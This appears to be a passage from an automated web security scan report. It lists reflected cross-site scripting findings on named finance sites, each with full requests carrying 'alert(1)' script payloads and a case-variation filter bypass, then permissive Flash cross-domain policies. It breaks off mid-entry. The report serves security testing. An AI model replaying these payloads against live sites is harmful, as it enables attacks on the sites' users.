The value of the division request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 743e0"><script>alert(1)</script>93f8ff19375 was submitted in the division parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/commoditybooks-bin/home.cgi?division=books743e0"><script>alert(1)</script>93f8ff19375 HTTP/1.1
Host: www.invest-store.com
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/commoditybooks/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SaneID=50.23.123.106-20252902820223

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:00:29 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<TITLE>Commodity Books online store</TITLE>
<SCRIPT LANGUAGE="JavaScript">
<!-- hide from old browsers
function S
...[SNIP]...
<a HREF="help.cgi?division=books743e0"><script>alert(1)</script>93f8ff19375">
...[SNIP]...

2.28. http://www2.daytrade4less.com/livesupport/image.php [l parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.daytrade4less.com
Path:	/livesupport/image.php

Issue detail

The value of the l request parameter is copied into the HTML document as plain text between tags. The payload 75280<script>alert(1)</script>2fa378bba35 was submitted in the l parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /livesupport/image.php?l=admin75280<script>alert(1)</script>2fa378bba35&x=1&deptid=0&pagex=http%3A//www.globalfutures.com/index.asp%3Frefid%3Dgoogleaef&unique=1315527938667&refer=http%3A//www.google.com/search%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dfutures+trading&text= HTTP/1.1
Host: www2.daytrade4less.com
Proxy-Connection: keep-alive
Referer: http://www.globalfutures.com/index.asp?refid=googleaef
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:36:36 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Content-Length: 139
Connection: close
Content-Type: text/html; charset=UTF-8

<font color="#FF0000">Config error: reason: admin75280<script>alert(1)</script>2fa378bba35 config not found! Exiting... [image.php]</font>

2.29. http://www2.daytrade4less.com/livesupport/js/status_image.php [base_url parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www2.daytrade4less.com
Path:	/livesupport/js/status_image.php

Issue detail

The value of the base_url request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e3875%20a%3db1797d1b1ec2 was submitted in the base_url parameter. This input was echoed as e3875 a=b1797d1b1ec2 in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupporte3875%20a%3db1797d1b1ec2&l=admin&x=1&deptid=0& HTTP/1.1
Host: www2.daytrade4less.com
Proxy-Connection: keep-alive
Referer: http://www.globalfutures.com/index.asp?refid=googleaef
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:36:34 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8710

<!--
// please do not use " or ' characters in the click_for_live_support variable or it
// will produce errors and PHP Live! will not function properly
var click_for_live_support = "Click for Live Su
...[SNIP]...
<img src=\"http://www2.daytrade4less.com/livesupporte3875 a=b1797d1b1ec2/images/initiate_close.gif\" width=10 height=10 border=0>
...[SNIP]...

2.30. http://www.pfgbest.com/toolkit/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pfgbest.com
Path:	/toolkit/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 540d0"><script>alert(1)</script>80305f47048 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /toolkit/ HTTP/1.1
Host: www.pfgbest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=540d0"><script>alert(1)</script>80305f47048

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 08 Sep 2011 19:47:23 GMT
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Length: 74506
Content-Type: text/html
Cache-control: private

<head>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en
...[SNIP]...
<input type="hidden" name="HTTP_REFERER" value="http://www.google.com/search?hl=en&q=540d0"><script>alert(1)</script>80305f47048" />
...[SNIP]...

2.31. http://finance.yahoo.com/news/Retail-gasoline-prices-up-apf-2916275523.html [REST URL parameter 1] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Retail-gasoline-prices-up-apf-2916275523.html

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d0458<ScRiPt>alert(1)</ScRiPt>27c46b4b333 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /d0458<ScRiPt>alert(1)</ScRiPt>27c46b4b333/Retail-gasoline-prices-up-apf-2916275523.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Redirect
Date: Thu, 08 Sep 2011 19:47:06 GMT
Connection: close
Server: YTS/1.20.7
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Location: http://download.finance.yahoo.com/d0458<ScRiPt>alert(1)</ScRiPt>27c46b4b333/Retail-gasoline-prices-up-apf-2916275523.html
Content-Length: 311

<HEAD><TITLE>Redirect</TITLE></HEAD>
<BODY BGCOLOR="white" FGCOLOR="black">
<FONT FACE="Helvetica,Arial"><B>
"<em>http://download.finance.yahoo.com/d0458<ScRiPt>alert(1)</ScRiPt>27c46b4b333/Retail-gasoline-prices-up-apf-2916275523.html</em>
...[SNIP]...

3. Flash cross-domain policy previous next
There are 33 instances of this issue:

http://360.sorensonmedia.com/crossdomain.xml
http://cdn-static.viddler.com/crossdomain.xml
http://cdn-thumbs.viddler.com/crossdomain.xml
http://cdn.static.viddler.com/crossdomain.xml
http://cdnimages.sorensonmedia.com/crossdomain.xml
http://cdnvideos.sorensonmedia.com/crossdomain.xml
http://load.tubemogul.com/crossdomain.xml
http://optionsxpress.tt.omtrdc.net/crossdomain.xml
http://pixel.everesttech.net/crossdomain.xml
http://rcv-srv20.inplay.tubemogul.com/crossdomain.xml
http://receive.inplay.tubemogul.com/crossdomain.xml
http://static.cdn.360.sorensonmedia.com/crossdomain.xml
http://stats.optionsxpress.com/crossdomain.xml
http://tags.bluekai.com/crossdomain.xml
http://www.viddler.com/crossdomain.xml
http://206.106.137.34/crossdomain.xml
http://adadvisor.net/crossdomain.xml
https://adwords.google.com/crossdomain.xml
http://finance.yahoo.com/crossdomain.xml
http://picasaweb.google.com/crossdomain.xml
http://server.iad.liveperson.net/crossdomain.xml
https://server.iad.liveperson.net/crossdomain.xml
http://us.rd.yahoo.com/crossdomain.xml
http://www.adobe.com/crossdomain.xml
http://www.facebook.com/crossdomain.xml
http://www.nasdaqtrader.com/crossdomain.xml
http://www.thefinancials.com/crossdomain.xml
http://www.youtube.com/crossdomain.xml
https://account.optionsxpress.com/crossdomain.xml
https://docs.google.com/crossdomain.xml
http://pfgbest.app5.hubspot.com/crossdomain.xml
http://stats.manticoretechnology.com/crossdomain.xml
http://www.optionsxpress.com/crossdomain.xml

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

3.1. http://360.sorensonmedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://360.sorensonmedia.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.1
Host: 360.sorensonmedia.com
Proxy-Connection: keep-alive
Referer: http://static.cdn.360.sorensonmedia.com/1/flash/flowplayer-3.2.2.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AWSELB=7399391306302201EC8ED885C1DF301EBE94B9D3266A90D7C75A424550F489FD629C2C3ACAAE7C766E443396D53A4DBE988DB00D0CFDBC4B96568304D3BBF7D375BA252957

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Range: bytes 0-316/317
Content-Type: application/xml
Date: Thu, 08 Sep 2011 19:24:51 GMT
ETag: "1285808463.0-317"
Last-Modified: Thu, 30 Sep 2010 01:01:03 GMT
Server: nginx/0.5.33
Content-Length: 317
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*" />
...[SNIP]...

3.2. http://cdn-static.viddler.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn-static.viddler.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: cdn-static.viddler.com
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=31536000
Content-Type: application/xml
Date: Thu, 08 Sep 2011 19:54:06 GMT
ETag: "80713937-4d-476833f70e800"
Expires: Fri, 07 Sep 2012 19:54:06 GMT
Last-Modified: Thu, 22 Oct 2009 10:06:24 GMT
Server: ECAcc (sjo/52D4)
X-Cache: HIT
Content-Length: 77

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

3.3. http://cdn-thumbs.viddler.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn-thumbs.viddler.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: cdn-thumbs.viddler.com
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/xml
Date: Thu, 08 Sep 2011 19:54:06 GMT
ETag: "780699-4d-48bbdf11afc40"
Last-Modified: Mon, 19 Jul 2010 13:56:57 GMT
Server: ECAcc (sjo/52D4)
X-Cache: HIT
Content-Length: 77

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

3.4. http://cdn.static.viddler.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.static.viddler.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: cdn.static.viddler.com
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

3.5. http://cdnimages.sorensonmedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdnimages.sorensonmedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: cdnimages.sorensonmedia.com
Proxy-Connection: keep-alive
Referer: http://static.cdn.360.sorensonmedia.com/1/flash/flowplayer-3.2.2.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
x-amz-id-2: sDeROQsMjQ2Sd0WeMW+UC0oGczf23hsqoQVOxMS+bhFZJ5YbvB+SqQPABNsO7Z2y
x-amz-request-id: 0702A883BB175FCB
Date: Mon, 11 Oct 2010 17:53:49 GMT
x-amz-meta-s3fox-filesize: 313
x-amz-meta-s3fox-modifiedtime: 1231976316000
Last-Modified: Wed, 14 Jan 2009 23:40:33 GMT
ETag: "b39e4db0d6aa6090a0d17f1290bff7d5"
Content-Type: text/xml
Content-Length: 313
Server: AmazonS3
Age: 53872
X-Cache: Hit from cloudfront
X-Amz-Cf-Id: 3bf7fc6bfca28e69bd9ccec9701beaf2b3451b3411c94eb8ef269cd86f0393a7783dcd1f54cad24a
Via: 1.0 2ba8d32c0ef1d73da2fcae191d906606.cloudfront.net:11180 (CloudFront), 1.0 1cc1afd17178a6b946be07884b15a828.cloudfront.net:11180 (CloudFront)
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*" />
...[SNIP]...

3.6. http://cdnvideos.sorensonmedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdnvideos.sorensonmedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdnvideos.sorensonmedia.com

Response

HTTP/1.0 200 OK
x-amz-id-2: 0HsrfCqJbLuvI3RCfYSZirgisWVRwczDCJmmLfnL3nSP5uN5vM7A4q5s+ZUB4osX
x-amz-request-id: 94CFB287B85B25E8
Date: Thu, 08 Sep 2011 11:40:45 GMT
x-amz-meta-s3fox-filesize: 313
x-amz-meta-s3fox-modifiedtime: 1231976316000
Last-Modified: Wed, 14 Jan 2009 23:40:15 GMT
ETag: "b39e4db0d6aa6090a0d17f1290bff7d5"
Accept-Ranges: bytes
Content-Type: text/xml
Content-Length: 313
Server: AmazonS3
Age: 27847
X-Cache: Hit from cloudfront
X-Amz-Cf-Id: 350ac25352d701a209c003b8f2ba58964aca81ac86012a4ff7d91915f7e078061666933e03e0b14e,2703e321deb7d4cf60a40f2535426cc4fc816364da3c1a432f02fc2dfec343049b293a2cfd7e1297
Via: 1.0 2ba8d32c0ef1d73da2fcae191d906606.cloudfront.net:11180 (CloudFront), 1.0 5e67960ca17a2cc60393e082766a7dca.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*" />
...[SNIP]...

3.7. http://load.tubemogul.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://load.tubemogul.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: load.tubemogul.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"-1-1315508610000"
Last-Modified: Thu, 08 Sep 2011 19:03:30 GMT
host: rcv-srv07
Content-Type: application/xml
Content-Length: 204
Date: Thu, 08 Sep 2011 19:54:07 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

3.8. http://optionsxpress.tt.omtrdc.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://optionsxpress.tt.omtrdc.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: optionsxpress.tt.omtrdc.net

Response

HTTP/1.1 200 OK
Server: Test & Target
Content-Type: application/xml
Date: Thu, 08 Sep 2011 19:24:42 GMT
Accept-Ranges: bytes
ETag: W/"201-1313024241000"
Connection: close
Last-Modified: Thu, 11 Aug 2011 00:57:21 GMT
Content-Length: 201

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

...[SNIP]...

3.9. http://pixel.everesttech.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pixel.everesttech.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pixel.everesttech.net

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:37 GMT
Server: Apache
Last-Modified: Tue, 22 Mar 2011 22:39:33 GMT
ETag: "1b8839-cb-49f19eb07d340"
Accept-Ranges: bytes
Content-Length: 203
Keep-Alive: timeout=15, max=996383
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-polic
...[SNIP]...

3.10. http://rcv-srv20.inplay.tubemogul.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rcv-srv20.inplay.tubemogul.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: rcv-srv20.inplay.tubemogul.com
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tmid=-5675633421699857517; _tmpd=MjAxMTA5MDg_ODpzZWdtZW50PTAwMCZ6aXA9JmFnZT0mZ2VuZGVyPTozMA

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"-1-1313434781000"
Last-Modified: Mon, 15 Aug 2011 18:59:41 GMT
host: rcv-srv20
Content-Type: application/xml
Content-Length: 204
Date: Thu, 08 Sep 2011 19:54:08 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

3.11. http://receive.inplay.tubemogul.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://receive.inplay.tubemogul.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: receive.inplay.tubemogul.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"-1-1315510431000"
Last-Modified: Thu, 08 Sep 2011 19:33:51 GMT
host: rcv-srv38
Content-Type: application/xml
Content-Length: 204
Date: Thu, 08 Sep 2011 19:54:08 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

3.12. http://static.cdn.360.sorensonmedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://static.cdn.360.sorensonmedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: static.cdn.360.sorensonmedia.com

Response

HTTP/1.0 200 OK
x-amz-id-2: RXfGVT9cLpTqhhG/HfFmo1cNi8UJoJ7sFtzuon+SEBgIRFG9frHy42kN/hN4JrdG
x-amz-request-id: C5CD88AE7D85895F
Date: Thu, 08 Sep 2011 19:24:48 GMT
x-amz-meta-s3fox-filesize: 317
x-amz-meta-s3fox-modifiedtime: 1279214893000
Last-Modified: Mon, 18 Apr 2011 21:48:45 GMT
ETag: "e679a59ab5eb9e4ae17bb27c2114ba65"
Accept-Ranges: bytes
Content-Type: text/xml
Content-Length: 317
Server: AmazonS3
X-Cache: Miss from cloudfront
X-Amz-Cf-Id: 01a2486a203ad03356e09d8c4b97ccdb149f3b0be35d0c3894750347b49b0fcfbbb1acc00214275d,69dd733dc3aa3668c51a9c23447b6fa409ab08e7f822d6824e26a1fa5d5765b3b2a7666977ff41f7
Via: 1.0 c36847c5252e758d61b94a1d396be659.cloudfront.net:11180 (CloudFront), 1.0 9f619df210e737c1479674b741ae9bf5.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*" />
...[SNIP]...

3.13. http://stats.optionsxpress.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://stats.optionsxpress.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: stats.optionsxpress.com

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:49 GMT
Server: Omniture DC/2.0.0
xserver: www380
Content-Length: 137
Keep-Alive: timeout=15
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-request-headers-from domain="*" headers="*" />
</cross-domain-policy>

3.14. http://tags.bluekai.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tags.bluekai.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: tags.bluekai.com

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:54:11 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 29 Jun 2011 21:44:06 GMT
ETag: "1d83ce-ca-4a6e0af03f580"
Accept-Ranges: bytes
Content-Length: 202
Content-Type: text/xml
Connection: close

<cross-domain-policy>
<allow-access-from domain="*" to-ports="*"/>
<site-control permitted-cross-domain-policies="all"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy
...[SNIP]...

3.15. http://www.viddler.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.viddler.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: www.viddler.com
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C107179E6A4AB982596822DF0ABF8296.viddler_a

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 08 Sep 2011 19:54:08 GMT
Content-Type: application/xml
Connection: keep-alive
X-Viddler-Node: viddler_a
Accept-Ranges: bytes
ETag: W/"80-1311663400000"
Last-Modified: Tue, 26 Jul 2011 06:56:40 GMT
Content-Length: 80

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

3.16. http://206.106.137.34/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://206.106.137.34
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.1
Host: 206.106.137.34
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/images/flash/forexTicker_splash_wide.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:54 GMT
Server: Apache
Last-Modified: Tue, 14 Sep 2010 18:07:25 GMT
ETag: "2a6ac2-503-15cc7140"
Accept-Ranges: bytes
Content-Length: 1283
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.interactivebrokers.co.uk" />
<allow-access-from domain="*.interactivebrokers.com" />
<allow-access-from domain="*.interactivebrokers.ca" />
<allow-access-from domain="*.interactivebrokers.de" />
<allow-access-from domain="*.interactivebrokers.com.hk" />
<allow-access-from domain="*.global-view.com" />
<allow-access-from domain="*.fxstreet.com" />
<allow-access-from domain="*.yahoo.com" />
<allow-access-from domain="*.wsj.com" />
<allow-access-from domain="*.ft.com" />
<allow-access-from domain="*.e-forex.net" />
<allow-access-from domain="*.hk.quamnet.com" />
<allow-access-from domain="*.finet.hk" />
<allow-access-from domain="*.etnet.com.hk" />
<allow-access-from domain="*.discuss.com.hk" />
<allow-access-from domain="*.e-finet.com" />
<allow-access-from domain="*.actionforex.com" />
<allow-access-from domain="*.forexcenter.net" />
<allow-access-from domain="*.actionforex.net" />
<allow-access-from domain="*.profit-loss.com" />
<allow-access-from domain="*.eyereturn.com" />
<allow-access-from domain="*.atdmt.com" />
<allow-access-from domain="*.wwwibtradersu.com" />
...[SNIP]...

3.17. http://adadvisor.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://adadvisor.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
